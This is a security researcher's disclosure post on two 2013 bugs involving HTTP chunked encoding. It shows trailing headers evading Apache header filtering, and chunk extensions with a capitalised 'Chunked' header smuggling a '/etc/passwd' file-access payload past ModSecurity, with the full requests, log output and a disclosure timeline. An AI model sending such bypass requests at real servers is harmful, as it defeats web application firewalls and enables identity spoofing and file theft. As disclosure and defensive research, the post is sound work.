Chunked HTTP transfer encoding
Back in the days before websockets, and even XHR, something called Chunked encoding or chunked http responses were used to achieve a server->client callback. I once wrote a chat server, based on the following concept; the client loads resources from a common webserver, a.chatserver.com, which also sets its domain to chatserver.com. That page also loads a script from b.chatserver.com. That script also sets its domain to chatserver.com - just to clear any SOP issues. At b.chatserver.com, we had a tcp server listening, which allowed us to keep an open tcp socket towards the client, and could use to send javascript snippets, for example messageReceived('foobar')
By using chunked responses, the actual tcp traffic would look something like this:
HTTP 200 OK
Transfer-Encoding: chunked
20
document.domain='chatserver.com'
.. some time later ...
FA
messageReceived('hello');
As far as I can tell, this is designed mostly just as a mechanism to allow a server to stream data to a client. I don't know to what extent a browser has ever been coerced into sending chunked requests to a server. However, the protocol defines this as a bi-directional mechanism, it can be used by the client as well as the server.
Diving into chunked HTTP requests
For whatever reason, I happened to check out the source code for a part of Netty, the HttpChunkAggregator. The way Netty does things is that it has various handlers for upstream or downstream traffic, organised throgh a pipe, and one of these handlers can unchunk http requests that arrive in chunks.
I came across this piece of code:
if (chunk.isLast()) {
this.currentMessage = null;
// Merge trailing headers into the message.
if (chunk instanceof HttpChunkTrailer) {
HttpChunkTrailer trailer = (HttpChunkTrailer) chunk;
for (Entry<String, String> header: trailer.getHeaders()) {
currentMessage.setHeader(header.getKey(), header.getValue());
}
}
After some googling and protocol reading, I found out that http headers can be sent after the http body. This could be a valid HTTP-request
POST /test.php HTTP/1.1
User-Agent: Fooo
Host: bar
Transfer-Encoding: chunked
4
Test
0
User-Agent: Bar
Evil-header: foobar
So, apparently, this is the protocol definition, as per RFC 2616
Chunked-Body = *chunk
last-chunk
trailer
CRLF
chunk = chunk-size [ chunk-extension ] CRLF
chunk-data CRLF
chunk-size = 1*HEX
last-chunk = 1*("0") [ chunk-extension ] CRLF
chunk-extension= *( ";" chunk-ext-name [ "=" chunk-ext-val ] )
chunk-ext-name = token
chunk-ext-val = token | quoted-string
chunk-data = chunk-size(OCTET)
trailer = *(entity-header CRLF)
Also, the RFC says:
All HTTP/1.1 applications MUST be able to receive and decode the "chunked" transfer-coding, and MUST ignore chunk-extension extensions they do not understand.
Filter bypass 1 (CVE-2013-5704)
Many applications reside behind some kind of gateway, often a load balancer or SSL-termination point. I've seen, on several occasions, that this gateway handles authentication, and dispatches the request to other internal machines after adding a few headers. These headers could for example denote who the user is, or what role he/she has.
X-User-Id: 123123123
In many such solutions, there is also a filtering mechanism, to ensure that a remote attacker is unable to inject his own headers, thus for example assigning himself arbitrary user accounts. Can we use trailing headers to inject headers, and bypass such filtering?
To test that, I installed the latest apache+php version. In my Apache config, I used mod_headers to be able to unset headers
RequestHeader unset Removeme
I also wrote a simple php script that just prints out the received heades. First, a simple test:
POST /test.php HTTP/1.1
Host: localhost.me
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Removeme: willbegone
3
x=a
0
X-user-id: foobar
Result:
Host localhost.me
User-Agent Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0
Content-Type application/x-www-form-urlencoded
Transfer-Encoding chunked
X-user-id foobar
So, obviously, the filter works, and the trailing headers work. Now, can we bypass the filter?
POST /test.php HTTP/1.1
Host: localhost.me
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Removeme: willbegone
3
x=a
0
X-user-id: foobar
Removeme: noyouwont
Result:
Host localhost.me
User-Agent Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0
Content-Type application/x-www-form-urlencoded
Transfer-Encoding chunked
X-user-id foobar
Removeme noyouwont
Filter bypass #2 (CVE-2013-5705)
Another thing that struck me were the chunk extensions. Those can be used to masquerade the true content going over the wire, potentially sailing straight through WAFs and IDS's that do not bother to 'wait out' the chunked request. By splitting the malicious payload, and injecting chunk extensions (which MUST be ignored - remember), a payload like
evil=hahaha
can be turned into:
4;foo=bar
evil
1;foo=bbb
=
1;fooxbazonk
h
1;zxczxczxc
a
1;yadadada
h
1;hrrmph
a
So, I went ahead and installed ModSecurity with CRS (core rule set). The following rules were activated:
martin@lenovox2:/usr/share/modsecurity-crs/activated_rules
$ ls
modsecurity_35_bad_robots.data modsecurity_crs_41_sql_injection_attacks.conf
modsecurity_35_scanners.data modsecurity_crs_41_xss_attacks.conf
modsecurity_40_generic_attacks.data modsecurity_crs_42_comment_spam.conf
modsecurity_41_sql_injection_attacks.data modsecurity_crs_42_tight_security.conf
modsecurity_42_comment_spam.data modsecurity_crs_45_trojans.conf
modsecurity_50_outbound.data modsecurity_crs_47_common_exceptions.conf
modsecurity_50_outbound_malware.data modsecurity_crs_48_local_exceptions.conf.example
modsecurity_crs_20_protocol_violations.conf modsecurity_crs_49_inbound_blocking.conf
modsecurity_crs_21_protocol_anomalies.conf modsecurity_crs_50_outbound.conf
modsecurity_crs_23_request_limits.conf modsecurity_crs_59_outbound_blocking.conf
modsecurity_crs_30_http_policy.conf modsecurity_crs_60_correlation.conf
modsecurity_crs_35_bad_robots.conf README
modsecurity_crs_40_generic_attacks.conf
Testing that the ruleset is activated and blocks a naive attack:
POST /test.php? HTTP/1.1
Host: localhost.me
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
secret_file=/etc/passwd
Result in logfile:
Message: Warning. Pattern match "(?:\\b(?:\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\.asa|httpd\\.conf|boot\\.ini)\\b|\\/etc\\/)" at ARGS:secret_file. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_40_generic_attacks.conf"] [line "181"] [id "950005"] [rev "2.2.5"] [msg "Remote File Access Attempt"] [data "/etc/"] [severity "CRITICAL"] [tag "WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"]
Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_60_correlation.conf"] [line "37"] [id "981204"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5, SQLi=, XSS=): Remote File Access Attempt"]
Apache-Handler: application/x-httpd-php
Stopwatch: 1378322897017422 11403 (- - -)
Stopwatch2: 1378322897017422 11403; combined=8484, p1=470, p2=7386, p3=2, p4=483, p5=143, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.6.6 (http://www.modsecurity.org/); OWASP_CRS/2.2.5.
Server: Apache/2.2.22 (Ubuntu)
Attempt to use this technique to bypass Mod Security
POST /test2.php? HTTP/1.1
Host: localhost.me
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Transfer-Encoding: chunked
C;xxxaa
secret_file=
1;foobar
/
1;test
/
2;aa
et
1;bbb
c
1;aas
/
2;sd
pa
4;asd
sswd
0
Result:
Message: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_20_protocol_violations.conf"] [line "174"] [id "960012"] [rev "2.2.5"] [msg "POST request must have a Content-Length header"] [severity "WARNING"] [tag "PROTOCOL_VIOLATION/EVASION"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [tag "RULE_MATURITY/9"] [tag "RULE_ACCURACY/9"] [tag "https://www.owasp.org/index.php/ModSecurity_CRS_RuleID-960012"] [tag "http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.5"]
Message: Warning. Pattern match "(?:\\b(?:\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\.asa|httpd\\.conf|boot\\.ini)\\b|\\/etc\\/)" at ARGS:secret_file. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_40_generic_attacks.conf"] [line "181"] [id "950005"] [rev "2.2.5"] [msg "Remote File Access Attempt"] [data "/etc/"] [severity "CRITICAL"] [tag "WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"]
Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_60_correlation.conf"] [line "37"] [id "981204"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 7, SQLi=, XSS=): Remote File Access Attempt"]
Apache-Error: [file "/build/buildd/php5-5.4.9/sapi/apache2handler/sapi_apache2.c"] [line 332] [level 3] script '/var/www/test2.php' not found or unable to stat
Apache-Handler: application/x-httpd-php
Stopwatch: 1378323543302508 9369 (- - -)
Stopwatch2: 1378323543302508 9369; combined=8301, p1=504, p2=7365, p3=2, p4=298, p5=131, sr=57, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.6.6 (http://www.modsecurity.org/); OWASP_CRS/2.2.5.
Server: Apache/2.2.22 (Ubuntu)
So, obviously I'm not discovering a new attack here, mod security already knows how to handle chunked requests. Nice job! However, I couldn't just stop there. I downloaded the source code for ModSecurity and did a simple ack-grep for 'chunked', and saw this snippet:
apache2/modsecurity.c
295: msr->reqbody_chunked = 0;
298: /* There's no C-L, but is chunked encoding used? */
300: if ((transfer_encoding != NULL)&&(strstr(transfer_encoding, "chunked") != NULL)) {
302: msr->reqbody_chunked = 1;
So, it appears that a string comparison against the string 'chunked' is used. However, webservers such as apache are generally very forgiving when parsing headers, and are often case insensitive. So, a really simple refinement:
POST /test.php? HTTP/1.1
Host: localhost.me
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: Chunked
C;xxxaa
secret_file=
1;foobar
/
1;test
/
2;aa
et
1;bbb
c
1;aas
/
2;sd
pa
4;asd
sswd
0
Result:
--c46b8404-H--
Message: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_20_protocol_violations.conf"] [line "174"] [id "960012"] [rev "2.2.5"] [msg "POST request must have a Content-Length header"] [severity "WARNING"] [tag "PROTOCOL_VIOLATION/EVASION"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [tag "RULE_MATURITY/9"] [tag "RULE_ACCURACY/9"] [tag "https://www.owasp.org/index.php/ModSecurity_CRS_RuleID-960012"] [tag "http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.5"]
Message: Warning. Operator LT matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_60_correlation.conf"] [line "33"] [id "981203"] [msg "Inbound Anomaly Score (Total Inbound Score: 2, SQLi=, XSS=): POST request must have a Content-Length header"]
Apache-Handler: application/x-httpd-php
Stopwatch: 1378324900277996 7897 (- - -)
Stopwatch2: 1378324900277996 7897; combined=6542, p1=526, p2=5519, p3=2, p4=342, p5=153, sr=67, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.6.6 (http://www.modsecurity.org/); OWASP_CRS/2.2.5.
Server: Apache/2.2.22 (Ubuntu)
--c46b8404-Z--
Lo and behold, now it just complains about missing content-length, the score now down at 2 - it totally misses our ‘Remote File Access Attempt’.
Also, the rule seems to be deprecated and subject for removal. ServerFault:
If I recall correctly, ModSecurity 1.x required POST requests to specify content length purely because it didn't support chunked request bodies (the alternative way of submitting request bodies, in which the total length is not known until the end). Chunked request bodies were incredibly rare then (we're talking years 2003, 2004) and are still rare (although some mobile devices are using them).
There are no such restrictions in ModSecurity 2.x.
[...]
Disclosure: I wrote ModSecurity.
--- Ivan Ristic
It is subject for removal from the CRS, OWASP discussion :
> - 960012: There is no real reason for ModSecurity 2.x to request
> POST request to have C-L.
> - 960013: “ModSecurity does not support chunked transfer encodings
> at this time.” – this is incorrect.
So, using chunked encoding we can bypass any/all filters (except one) and sneak basically any payload through ModSecurity.
I haven't tested any other WAFs/IDSs, so please leave a comment if you find one which falls for this simple trick, or if you know of any earlier work attacks based on these features, or if you come up with other variants to use this seldom seen protocol obscurity.
You can use this javascript playground if you want to generate chunked encoding easily.
Timeline
2013-09-05 Notified ModSecurity (security@modsecurity.org) about the problem.
2013-09-05 ModSecurity responded; will investigate/patch.
2013-09-06 Notified Apache Software Foundation about the problem.
2013-09-08 Apache responded; confirmed and looking into the issue.
2013-09-09 ModSecurity responded with patch.
2013-10-19 Apache security raised the issue on dev@httpd instead, it was “languishing on the private list”. Mail
2013-12-16 ModSecurity released version 2.7.6, with patch.
2014-03-31 Published details
Status as of february 2014
The Ubuntu-packaged version of Modsecurity is 2.7.4, both for 13.10 and earlier. This version is vulnerable.
The latest LTS server version - Ubuntu 12.04 uses Apache 2.2.22, which is vulnerable. Ubuntu 13.10 repositories contains Apache 2.4.6, which was found not to be vulnerable.